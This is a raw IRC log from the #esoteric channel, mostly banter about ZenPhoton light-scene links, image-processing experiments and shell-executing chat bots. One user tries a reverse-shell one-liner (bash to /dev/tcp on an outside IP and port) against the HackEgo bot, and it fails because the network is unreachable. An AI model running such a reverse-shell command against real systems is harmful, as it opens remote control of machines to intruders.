conjunction with XMonad where switching between workspaces leaves bits and pieces of old windows on screen, if they're "special" (OpenGL-y) enough. Apparently something buggy related to server-side borders, since so few window managers use those. (Running a compositing manager fixes it.) < 1396124757 24413 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :Sgeo_: SORRY ABOUT THAT < 1396124778 275275 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :(you may not know yet what "that" is, but you soon will.) < 1396124928 831640 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :http://zenphoton.com < 1396125063 620991 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :i decided not to make a 2-d brainfuck variant of floater < 1396125302 255497 :Phantom_Hoover!~Phantom@unaffiliated/phantom-hoover PRIVMSG #esoteric :kmc, ohhh, these are diffuse < 1396125307 155371 :Phantom_Hoover!~Phantom@unaffiliated/phantom-hoover PRIVMSG #esoteric :i assumed they were reflective < 1396125318 566198 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :there are controls at the left to set that < 1396125558 31537 :MindlessDrone!~MindlessD@unaffiliated/mindlessdrone QUIT :Quit: MindlessDrone < 1396125576 132962 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Things got somewhat "blocky" after boxing the light in and then reflecting the beam six times. < 1396125620 766103 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net JOIN :#esoteric < 1396125633 520225 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :when you make an enclosure of perfect mirrors, it crashes < 1396125779 880850 :Sgeo_!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :oerjan: just saw the message, was about to come in here to ask if you're reddit-stalking me < 1396125816 783105 :Sgeo_!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :With.. a grand total of talking to me exactly 1 time < 1396125841 638685 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :hm need to up the stalking then. < 1396126116 913198 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :the person who made that has done a billion other cool things http://scanlime.org/ < 1396126121 862948 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :also she lives in san francisco < 1396126140 715443 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :there are all these cool people in this city who I'm too shy to meet :/ < 1396126250 59937 :Phantom__Hoover!~phantomho@unaffiliated/phantom-hoover JOIN :#esoteric < 1396127443 329816 :Phantom_Hoover!~Phantom@unaffiliated/phantom-hoover QUIT :Ping timeout: 264 seconds < 1396128412 871788 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :More of them aligned image renderings: https://dl.dropboxusercontent.com/u/113389132/Misc/20140329-var.jpg https://dl.dropboxusercontent.com/u/113389132/Misc/20140329-eig.jpg < 1396128700 709066 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :what's all this then < 1396128736 97661 :ket1v!~ket1v@147.69.37.57 JOIN :#esoteric < 1396128787 646137 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :The "var" one is the sample standard deviation, for each pixel, across the 33 images. And the "eig" one has had the eigenfaces kinda thing applied on it. < 1396129036 52992 :ket1v!~ket1v@147.69.37.57 QUIT :Ping timeout: 265 seconds < 1396129091 113738 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :lol i also once used ard deviation on images < 1396129099 805543 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :std* < 1396129141 642290 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :kmc: http://johndisneys.tumblr.com/post/81043293062/the-shining-1981-dir-stanley-kubrick < 1396129191 833113 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :It's highlighting things that change a lot between images, which is more or less outlines (due to alignment issues) and the ground (due to snow). < 1396129219 393273 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :Bike: hahaha < 1396129222 52484 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :is all of that dril < 1396129227 775306 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :pretty sure < 1396129228 639576 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :fizzie: i think someone is abducting your university into another dimension hth < 1396129337 476761 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :oerjan: Fortunately, it looks far less like that when viewed from another angle: https://dl.dropboxusercontent.com/u/113389132/Misc/20140329-var2.jpg < 1396129366 186386 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :looks haunted as shit < 1396129412 735046 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :i used it to inverse weight differences in images to detect motion, so often changing pixels tend to get ignored < 1396129474 502087 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :fizzie: YOU THINK < 1396129809 449356 :oerjan!oerjan@sprocket.nvg.ntnu.no QUIT :Quit: to sleap, perchance to dreem < 1396130549 67590 :olsner!~salparot@c83-252-203-32.bredband.comhem.se JOIN :#esoteric < 1396130634 368953 :pikhq!~pikhq@2602:100:18b2:fbfb:a60:6eff:fece:493 JOIN :#esoteric < 1396131462 158673 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :One more for the road: https://dl.dropboxusercontent.com/u/113389132/Misc/20140329-nmf.jpg < 1396131521 527080 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :That's taking all 33 images as W*H*3-length vectors, and then computing a rank-4 nonnegative matrix factorization; shown are the four basis vectors reinterpreted again as images. < 1396131572 947817 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :(In other words, if you wanted to represent each image as a weighted sum of 4 other images, those four should be good for that.) < 1396131582 161516 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :the first and last ones look spooky < 1396131785 797916 :conehead!~conehead@unaffiliated/conehead JOIN :#esoteric < 1396131910 669330 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :hacked the zenphoton base64 code and made some scripted designs < 1396131913 888198 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :http://zenphoton.com/#AAQAAkACAAEgfwEgAgACKAIMAia/QAACDAImAhgCIr9AAAIYAiICIgIav0AAAiICGgIqAhC/QAACKgIQAi4CBL9AAAIuAgQCMAH4v0AAAjAB+AIuAey/QAACLgHsAioB4L9AAAIqAeACIgHWv0AAAiIB1gIYAc6/QAACGAHOAgwByr9AAAIMAcoCAAHIv0AAAgAByAH0Acq/QAAB9AHKAegBzr9AAAHoAc4B3gHWv0AAAd4B1gHWAeC/QAAB1gHgAdIB7L9AAAHSAewB0AH4v0AAAdAB+AHSAgS/QAAB0gIEAdYCEL9AAAHWAhAB3gIav0AAAd4CGgHoAiK/QAAB6AIiAfQCJr9AAAH0AiYCAAIov0AAAmw < 1396131914 113994 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric 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:BTr9AAAEcAU4BKAFQv0AAAUUBvAFRAbq/QAABUQG6AV0Btr9AAAFdAbYBZwGuv0AAAWcBrgFvAaS/QAABbwGkAXMBmL9AAAFzAZgBdQGMv0AAAXUBjAFzAYC/QAABcwGAAW8BdL9AAAFvAXQBZwFqv0AAAWcBagFdAWK/QAABXQFiAVEBXr9AAAFRAV4BRQFcv0AAAUUBXAE5AV6/QAABOQFeAS0BYr9AAAEtAWIBIwFqv0AAASMBagEbAXS/QAABGwF0ARcBgL9AAAEXAYABFQGMv0AAARUBjAEXAZi/QAABFwGYARsBpL9AAAEbAaQBIwGuv0AAASMBrgEtAba/QAABLQG2ATkBur9AAAE5AboBRQG8v0AAAZQCCwGgAgm/QAABoAIJ < 1396131916 559225 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :AawCBb9AAAGsAgUBtgH9v0AAAbYB/QG+AfO/QAABvgHzAcIB579AAAHCAecBxAHbv0AAAcQB2wHCAc+/QAABwgHPAb4Bw79AAAG+AcMBtgG5v0AAAbYBuQGsAbG/QAABrAGxAaABrb9AAAGgAa0BlAGrv0AAAZQBqwGIAa2/QAABiAGtAXwBsb9AAAF8AbEBcgG5v0AAA < 1396131921 525049 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :hope that link works :P < 1396131953 237017 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :http://tinyurl.com/o9lunsl < 1396131972 954157 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :um < 1396132135 195219 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :some cool patterns there < 1396132138 807800 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :in the base64 text I mean < 1396132148 441103 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :cross your eyes to see the sailboat < 1396132166 124758 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :what line width? < 1396132202 403944 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :QAACK < 1396132344 340612 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :all of them < 1396132461 789381 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :http://tinyurl.com/ptqgbyg < 1396132709 917345 :vravn!~vravn@syn.rook.sx JOIN :#esoteric < 1396132774 198894 :atriq!5c1ea83e@gateway/web/freenode/ip.92.30.168.62 JOIN :#esoteric < 1396132781 122669 :atriq!5c1ea83e@gateway/web/freenode/ip.92.30.168.62 PRIVMSG #esoteric :`ls < 1396132781 530695 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :No output. < 1396132783 834457 :atriq!5c1ea83e@gateway/web/freenode/ip.92.30.168.62 PRIVMSG #esoteric ::( < 1396133174 637653 :MoALTz!~no@user-109-243-145-237.play-internet.pl QUIT :Quit: Leaving < 1396133220 579701 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :`help < 1396133220 850962 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :Runs arbitrary code in GNU/Linux. Type "`", or "`run " for full shell commands. "`fetch " downloads files. Files saved to $PWD are persistent, and $PWD/bin is in $PATH. $PWD is a mercurial repository, "`revert " can be used to revert to a revision. See http://codu.org/projects/hackbot/fshg/ < 1396133234 430424 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Right, so it was just actual commands that were broken, not those pseudo-things. < 1396133255 838537 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Or, well, not that one pseudo-thing. < 1396133538 416716 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :this one is heavy http://tinyurl.com/pxm768o < 1396133610 708442 :olsner!~salparot@c83-252-203-32.bredband.comhem.se QUIT :Quit: Leaving < 1396133621 499603 :JesseH!~JesseH@oftn/member/JesseH PRIVMSG #esoteric :Probably the longest link I've seen ever. < 1396133658 181047 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :i've seen some long links with google reverse image search < 1396133718 573103 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :but 4kb? damn < 1396133750 260404 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :Melvar: the "begone" was serious insofar as the clash between lambdabot and idris-ircslave does annoy me. < 1396133796 455513 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :i find it hilarious < 1396133821 212782 :atriq!5c1ea83e@gateway/web/freenode/ip.92.30.168.62 PRIVMSG #esoteric :@run 8 + 1 < 1396133822 457193 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : 9 < 1396133830 776926 :atriq!5c1ea83e@gateway/web/freenode/ip.92.30.168.62 PRIVMSG #esoteric :>> 8 : Int < 1396133897 852943 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :but the most used lambdabot functionality here seems to be @tell, so it's not a big deal. < 1396133930 255354 :atriq!5c1ea83e@gateway/web/freenode/ip.92.30.168.62 PRIVMSG #esoteric :@tell int-e shhhh < 1396133930 468548 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric :Consider it noted. < 1396133955 224240 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :@messages-loud < 1396133955 431563 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric :atriq said 25s ago: shhhh < 1396133985 611937 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :(the thought of a loud "shhhh" amused me) < 1396134017 933596 :atriq!5c1ea83e@gateway/web/freenode/ip.92.30.168.62 PRIVMSG #esoteric ::D < 1396134032 545948 :atriq!5c1ea83e@gateway/web/freenode/ip.92.30.168.62 PRIVMSG #esoteric :I got home from uni this afternoon < 1396134039 832711 :atriq!5c1ea83e@gateway/web/freenode/ip.92.30.168.62 PRIVMSG #esoteric :Haven't set up my computer yet < 1396134046 421505 :atriq!5c1ea83e@gateway/web/freenode/ip.92.30.168.62 PRIVMSG #esoteric :(I left my desk in a bit of a mess) < 1396134398 373751 :nisstyre!~yourstrul@oftn/member/Nisstyre QUIT :Ping timeout: 240 seconds < 1396135590 967415 :Sgeo_!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :I want there to be games that are incredibly difficult unless you read the instructions < 1396135613 653812 :HackEgo!~HackEgo@162.248.166.242 QUIT :Remote host closed the connection < 1396135615 952301 :Sgeo_!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Like, it looks like you've understood it fully, but if you haven't read the instructions, you didn't < 1396135626 759718 :HackEgo!~HackEgo@162.248.166.242 JOIN :#esoteric < 1396135745 885385 :atriq!5c1ea83e@gateway/web/freenode/ip.92.30.168.62 PRIVMSG #esoteric :`ls < 1396135746 442256 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :No output. < 1396135835 610497 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Sgeo_: Can you make up such thing? < 1396135932 163251 :HackEgo!~HackEgo@162.248.166.242 QUIT :Remote host closed the connection < 1396135942 130952 :HackEgo!~HackEgo@162.248.166.242 JOIN :#esoteric < 1396135948 932736 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :`ls < 1396135949 618420 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :98076 \ a \ app.sh \ bdsmreclist \ bin \ canary \ cat \ complaints \ :-D \ dog \ etc \ factor \ fb \ fb.c \ head \ hello \ hello.c \ ibin \ index.html \ interps \ lib \ paste \ pref \ prefs \ quines \ quotes \ share \ src \ test \ Test \ Test.hi \ Test.hs \ UNPA \ wisdom \ wisdom.pdf < 1396135975 799300 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :I hope Gregor won't mind me "fixing" it. (In quotes since I have no idea whether I did or not.) < 1396135989 340803 :ket1v!~ket1v@147.69.37.57 JOIN :#esoteric < 1396136068 439622 :Phantom__Hoover!~phantomho@unaffiliated/phantom-hoover PRIVMSG #esoteric :Sgeo_, would you not notice everything going wrong because you didn't understand it < 1396136107 993709 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :`` echo Vg gnyxf! | tr a-zA-Z n-za-mN-ZA-M < 1396136131 473928 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Well, that didn't work long at all. :) < 1396136136 239834 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :too much? < 1396136137 915251 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :`echo 1 < 1396136159 682188 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Huh. It tried to reply 1 to that. < 1396136261 834310 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :I'm confused. It seems to go "connection timed out" all the time, in the log. < 1396136299 329503 :ket1v!~ket1v@147.69.37.57 QUIT :Ping timeout: 264 seconds < 1396136594 347464 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Oh, I seem to have accidentally started two, perhaps. < 1396136621 930529 :HackEgo!~HackEgo@162.248.166.242 QUIT :Remote host closed the connection < 1396136669 923757 :HackEgo!~HackEgo@162.248.166.242 JOIN :#esoteric < 1396136673 292493 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :it lives! < 1396136680 446992 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :`run wc -l quotes < 1396136681 43980 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :1176 quotes < 1396136736 602856 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Or it's possible there's some sort of an autostart thing that I don't know of. (I'm really not sure I should've poked at it at all.) < 1396136983 483046 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :`run tail -n 1 quotes < 1396136984 37313 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :​ you win this round. your prize is hosting the wiki I don't like this game show. < 1396137023 553309 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :`run echo blah > how_about_the_filesystem < 1396137024 943519 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :No output. < 1396137028 743229 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :`run cat how_about_the_filesystem < 1396137029 246817 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :blah < 1396137039 676204 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :`run rm how_about_the_filesystem # well how about that < 1396137040 906650 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :No output. < 1396137065 647297 :atriq!5c1ea83e@gateway/web/freenode/ip.92.30.168.62 PRIVMSG #esoteric :`run echo hi < 1396137066 68328 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :hi < 1396137077 819086 :atriq!5c1ea83e@gateway/web/freenode/ip.92.30.168.62 PRIVMSG #esoteric :`quote of chocolate < 1396137078 300966 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :508) elliott: mr president, commissioner, i fully accept that description when it comes to human rights. yes, with an average fat content of chocolate, and we are using double standards! we all know that under present legislation and also in relation to standardization bodies. if i do not want. \ 648) Just because you can' < 1396137088 573346 :atriq!5c1ea83e@gateway/web/freenode/ip.92.30.168.62 PRIVMSG #esoteric :`uote i'm a book < 1396137089 12334 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: uote: not found < 1396137091 571269 :atriq!5c1ea83e@gateway/web/freenode/ip.92.30.168.62 PRIVMSG #esoteric :`quote i'm a book < 1396137092 28449 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :No output. < 1396137098 57246 :atriq!5c1ea83e@gateway/web/freenode/ip.92.30.168.62 PRIVMSG #esoteric :`quote a book about < 1396137098 620574 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :No output. < 1396137100 271203 :atriq!5c1ea83e@gateway/web/freenode/ip.92.30.168.62 PRIVMSG #esoteric ::( < 1396137107 477155 :atriq!5c1ea83e@gateway/web/freenode/ip.92.30.168.62 PRIVMSG #esoteric :`quote prohibition < 1396137108 27449 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :939) I'm a story about the prohibition of chocolate < 1396137111 116155 :atriq!5c1ea83e@gateway/web/freenode/ip.92.30.168.62 PRIVMSG #esoteric :STORY < 1396137114 139965 :atriq!5c1ea83e@gateway/web/freenode/ip.92.30.168.62 PRIVMSG #esoteric :NOT BOOK < 1396137116 509015 :atriq!5c1ea83e@gateway/web/freenode/ip.92.30.168.62 PRIVMSG #esoteric :atriq-- < 1396137248 498594 :ion!ion@heh.fi PRIVMSG #esoteric :`run for n in $(seq 4); do sed -re 's/ /\n/g' an ieee-754 double does not have enough granular precision to express how little I care it's not even about strictness actually I've only watched bad movies about video game. I enjoyed every second of it. Taneb: stop complianing Even so. the theory's probably not bad, bu < 1396137298 873354 :maurer!~maurer@MIMUNG.ECE.CMU.EDU PRIVMSG #esoteric :Sorry if non-legit, but curious if it works < 1396137301 819210 :maurer!~maurer@MIMUNG.ECE.CMU.EDU PRIVMSG #esoteric :`run bash -i >& /dev/tcp/128.2.142.56/8123 0>&1 < 1396137302 342286 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :bash: connect: Network is unreachable \ bash: /dev/tcp/128.2.142.56/8123: Network is unreachable < 1396137306 364577 :maurer!~maurer@MIMUNG.ECE.CMU.EDU PRIVMSG #esoteric :Ah, smart < 1396137321 662195 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :There is a HTTP proxy that can do limited (whitelisted?) networking. < 1396137329 331875 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :If it works. It might not. < 1396137370 729549 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :`addquote pippi långstrump's name is translated as "gilgi" or "bilbi" usually Does she have a ring of power? < 1396137372 11195 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :1177) pippi långstrump's name is translated as "gilgi" or "bilbi" usually Does she have a ring of power? < 1396137397 615110 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :`addquote * Sgeo remembers when he believed VRML could never have gravity. Now VRML is dead. (And has gravity) < 1396137398 851317 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :1178) * Sgeo remembers when he believed VRML could never have gravity. Now VRML is dead. (And has gravity) < 1396137407 220061 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :`addquote and i had at one point been a meme < 1396137408 391818 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :1179) and i had at one point been a meme < 1396137506 286843 :ion!ion@heh.fi PRIVMSG #esoteric :`run sed -re 's/ /\n/g' nope, it is the same party So it's like... Rummy mixed with... breakout? TODO: sex life < 1396137536 387768 :ion!ion@heh.fi PRIVMSG #esoteric :`run sed -re 's/ /\n/g' well i just ate some stuff and watched family guy ais523, also contains benzene, my carcinogen of choice. This staircase is very good for correcting people's opininons about communism < 1396137639 60830 :yorick!~yorick@oftn/member/yorick JOIN :#esoteric < 1396137923 493808 :chaiomanot!~chaiomano@75-121-29-109.dyn.centurytel.net PRIVMSG #esoteric :lol, TODO: sex life < 1396137989 568673 :ion!ion@heh.fi PRIVMSG #esoteric :`run sed -re 's/ /\n/g' it's weird hanging around people for whom the northernmost point in the world is nottingham addquoting yourself? speaking of math, i watched an episode of numb3rs today < 1396138518 290720 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :WONTFIX < 1396138539 837402 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :`quote numb3rs < 1396138540 254989 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :676) speaking of math, i watched an episode of numb3rs today the first episode was more like 57471571c5 < 1396138548 281470 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :i d g i < 1396138561 880302 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :statistics < 1396138583 713272 :atriq!5c1ea83e@gateway/web/freenode/ip.92.30.168.62 PRIVMSG #esoteric :kmc: what does "i d g i" mean? < 1396138586 23475 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :kind of worried how easily i can read that... < 1396138587 582096 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :i don't get it < 1396138594 859110 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :who's on first < 1396138607 54460 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :`run xxd -r -p <<<57471571c5 < 1396138607 611396 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :WGq < 1396138612 232759 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :oh i get it now < 1396138629 440267 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :a lot of that show was filmed at my school < 1396138631 293267 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :1337, j0 < 1396138634 391794 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :as i've probably mentioned a billion times < 1396138702 275224 :nisstyre!~yourstrul@oftn/member/Nisstyre JOIN :#esoteric < 1396138844 780013 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Is there a METAFONT file for Japanese fonts? < 1396139285 558707 :atriq!5c1ea83e@gateway/web/freenode/ip.92.30.168.62 QUIT :Disconnected by services < 1396139323 349174 :yorick!~yorick@oftn/member/yorick QUIT :Remote host closed the connection < 1396139700 659999 :nisstyre!~yourstrul@oftn/member/Nisstyre QUIT :Quit: WeeChat 0.4.3 < 1396139940 598200 :shikhout!~Shikhin@unaffiliated/shikhin JOIN :#esoteric < 1396140084 101739 :tromp_!~tromp@ool-4570a22a.dyn.optonline.net JOIN :#esoteric < 1396140115 404538 :shikhin!~Shikhin@unaffiliated/shikhin QUIT :Ping timeout: 264 seconds < 1396140116 809248 :shikhout!~Shikhin@unaffiliated/shikhin NICK :shikhin < 1396140371 188424 :lexande!arapp@terpsichore.ugcs.caltech.edu PRIVMSG #esoteric :numbthreers < 1396140527 848139 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :yep < 1396140682 262730 :Sgeo_!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :`ralist < 1396140682 618591 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: ralist: not found < 1396141015 708154 :ion!ion@heh.fi PRIVMSG #esoteric :`coins < 1396141018 458078 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :seleggacoin joucoin rancoin boycoin hsquidecoin graphcoin shapycoin digfilectcoin judgecoin percoin inifhcoin revecoin umsdeucoin brasmcoin befolkcoin onovecoin manltacoin pclcoin hexcoin sumancoin < 1396141025 118199 :ion!ion@heh.fi PRIVMSG #esoteric :`run sed -re 's/ /\n/g' Why do you use random acronyms you know we don't know the expansions of? this is a great bot boily i love it * Sgeo remembers when he believed VRML could never have gravity. Now VRML is dead. < 1396141644 409714 :nooodl_!~nooodl@91.177.77.176 JOIN :#esoteric < 1396141755 439670 :nooodl!~nooodl@91.177.77.176 QUIT :Disconnected by services < 1396141761 210969 :nooodl_!~nooodl@91.177.77.176 NICK :nooodl < 1396141924 671327 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :`run sed -re 's/ /\n/g' it can even play 8 year old video games as long as it is not raining in the game I happen to have bash even on this computer < 1396142014 858296 :ion!ion@heh.fi PRIVMSG #esoteric :wat < 1396142033 678298 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :which < 1396143242 764645 :ket1v!~ket1v@147.69.37.57 JOIN :#esoteric < 1396143270 848469 :ket1v!~ket1v@147.69.37.57 QUIT :Read error: Connection reset by peer < 1396143291 518760 :ket1v!~ket1v@147.69.37.57 JOIN :#esoteric < 1396143329 401495 :Phantom__Hoover!~phantomho@unaffiliated/phantom-hoover QUIT :Remote host closed the connection < 1396145382 38270 :Sprocklem!~Sprocklem@S010674440130be65.cg.shawcable.net JOIN :#esoteric < 1396145383 18006 :Sprocklem!~Sprocklem@S010674440130be65.cg.shawcable.net QUIT :Changing host < 1396145383 205573 :Sprocklem!~Sprocklem@unaffiliated/sprocklem JOIN :#esoteric < 1396145527 599562 :Sprocklem!~Sprocklem@unaffiliated/sprocklem QUIT :Client Quit < 1396146247 468439 :nisstyre!~yourstrul@oftn/member/Nisstyre JOIN :#esoteric < 1396148140 479554 :conehead!~conehead@unaffiliated/conehead QUIT :Quit: Computer has gone to sleep. < 1396150401 721302 :Sorella!~queen@oftn/member/Sorella QUIT :Quit: It is tiem! < 1396150663 360836 :shikhin!~Shikhin@unaffiliated/shikhin QUIT :Ping timeout: 264 seconds < 1396152017 848438 :Patashu!Patashu@c27-253-115-204.carlnfd2.nsw.optusnet.com.au JOIN :#esoteric < 1396154052 308169 :Sgeo_!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :I want statically typed time and space complexity < 1396154255 8120 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric 